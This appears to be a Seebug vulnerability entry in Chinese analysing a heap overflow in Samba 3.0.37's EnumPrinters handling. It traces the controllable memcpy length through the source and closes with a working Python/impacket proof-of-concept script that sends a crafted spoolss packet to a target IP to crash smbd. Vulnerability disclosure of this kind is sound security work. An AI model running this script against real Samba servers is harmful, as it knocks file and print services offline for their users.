Samba 3.0.37 EnumPrinters 堆内存溢出漏洞

2015-06-30T00:00:00
ID SSV:89232
Type seebug
Reporter Root
Modified 2015-06-30T00:00:00

Description

<p>分析来自 知道创宇安全研究团队  niubl:2015.5.20</p><h4>一、Samba 介绍</h4><p>Samba 是在 Linux 和 UNIX 系统上实现 SMB 协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置 “NetBIOS over TCP/IP” 使得 Samba 不但能与局域网络主机分享资源,还能与全世界的电脑分享资源。</p><p>Samba 由两个主要程序组成,它们是 smbd 和 nmbd。这两个守护进程在服务器启动到停止期间持续运行,功能各异。smbd 和 nmbd 使用的全部配置信息全都保存在smb.conf 文件中。smb.conf 向 smbd 和 nmbd 两个守护进程说明输出什么以便共享,共享输出给谁及如何进行输出。</p><p>Samba 提供了基于 CIFS 的四个服务:文件和打印服务、授权与被授权、名字解析、浏览服务。前两项服务由 smbd 提供,后两项服务则由 nmbd 提供。 简单地说,smbd 进程的作用是处理到来的 SMB 软件包,为使用该软件包的资源与 Linux 进行协商,nmbd 进程使主机(或工作站)能浏览 Linux 服务器。</p><h4>二、Samba 安装</h4><p><strong>Samba 官网:</strong><a href="https://www.samba.org/">https://www.samba.org/</a></p><p><strong>下载:</strong><a href="https://download.samba.org/pub/samba/stable/samba-3.0.37.tar.gz">https://download.samba.org/pub/samba/stable/samba-3.0.37.tar.gz</a></p><p><strong>安装相关库:</strong></p><p>sudo apt-get install build-essential libacl1-dev python-dev libldap2-dev pkg-config gdb libgnutls-dev libblkid-dev libreadline-dev libattr1-dev python-dnspython libpopt-dev libbsd-dev attr docbook-xsl libcups2-dev git</p><p><strong>编译:</strong></p><p>sudo ./configure --enable-debug</p><p>sudo make</p><p>sudo make install</p><p><strong>写入配置文件:</strong></p><p>cp <strong>samba</strong>/examples/smb.conf.default /usr/local/samba/lib/smb.conf</p><p><strong>启动samba:</strong></p><p>/usr/local/samba/sbin/smbd</p><h4>三、漏洞介绍</h4><p>2015年5月18日,国外安全研究员公布了 Samba 3.0.37 内存崩溃 POC,该 POC 证实,在请求Samba EnumPrinters服务时,可以修改buffer size长度,使memcpy调用产生内存越界拷贝,造成崩溃。</p><h4>四、影响产品</h4><p>Samba 3.0.37(已知)。</p><h4>五、漏洞分析</h4><p>Samba 在处理 EnumPrinters 时调用 api_spoolss_enumprinters 函数处理,api_spoolss_enumprinters 函数把外界出入的数据包交给 spoolss_io_q_enumprinters 函数处理,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/05/%E9%85%8D%E5%9B%BE1.png" alt="配图1" width="533" height="240"></p><p>在 spoolss_io_q_enumprinters 函数中,samba 调用 prs_rpcbuffer_p 函数处理 EnumPrinters 数据结构中 buffer 相关数据,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/05/%E9%85%8D%E5%9B%BE2.png" alt="配图2" width="537" height="285"></p><p>prs_rpcbuffer_p 函数调用 prs_rpcbuffer 函数,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/05/%E9%85%8D%E5%9B%BE3.png" alt="配图3" width="538" height="292"></p><p>在 prs_rpcbuffer 函数中,prs_rpcbuffer 函数调用 prs_uint32 函数把 ps(即 data 数据)中的 buffer->size 解析出来,赋值给 buffer->size 变量,然后把 buffer->size 变量传递给 prs_append_some_prs_data 函数,然后调用 prs_append_some_prs_data 函数处理 buffer 数据,如图:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/05/%E9%85%8D%E5%9B%BE4.png" alt="配图4" width="538" height="301"></p><p>最后来到 prs_append_some_prs_data 函数,prs_append_some_prs_data 函数调用 memcpy 进行内存拷贝,然而 memcpy 的第三个参数 len(即buffer->size)可控,如果构造特殊EnumPrinters数据包即可造成内存越界拷贝。</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/05/%E9%85%8D%E5%9B%BE5-1024x289.png" alt="配图5" width="539" height="152"></p><h4>六、漏洞验证</h4><p>请参考 PoC 代码</p><h4>验证</h4><p>运行验证脚本:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/05/%E9%85%8D%E5%9B%BE6.jpg" alt="配图6" width="539" height="275"></p><p>观察smbd进程状态:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/05/%E9%85%8D%E5%9B%BE7.png" alt="配图7" width="538" height="402"></p><p>smbd已经崩溃。</p><h4>七、参考</h4><ul><li><a href="http://seclists.org/fulldisclosure/2015/May/73">http://seclists.org/fulldisclosure/2015/May/73</a></li></ul>

                                        
                                            
                                                #!/usr/bin/env python
#coding:utf-8
# Author:&nbsp; niubl --&lt;&gt;
# Purpose:
# Created: 2015/5/20

import sys
import impacket

from impacket.dcerpc import printer
from impacket.dcerpc.v5 import transport,nrpc
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import *


if len(sys.argv) &lt; 2:
    print("Usage: {} &lt;target_ip&gt;".format(sys.argv[0]))
    sys.exit(1)

target = sys.argv[1]
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\spoolss]' % target)
rpctransport.set_dport(445)

dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(printer.MSRPC_UUID_SPOOLSS)

enumPrinters = "\x0a\x00\x00\x00\x21\xd3\x9f\x98\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\xd8\x50\x60\x00\x21\x33\x33\x73\x00\x00\x00\x01\x42\x42\x06\x20\x0a\x00\x00\x00\x21\xd3\x9f\x28\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\xd8\x50\x60\x20\x21\x33\x33\x2a\x40\x40\x40\x20\x45\x45\x06\x20\x00\x00"

dce.call(0, enumPrinters)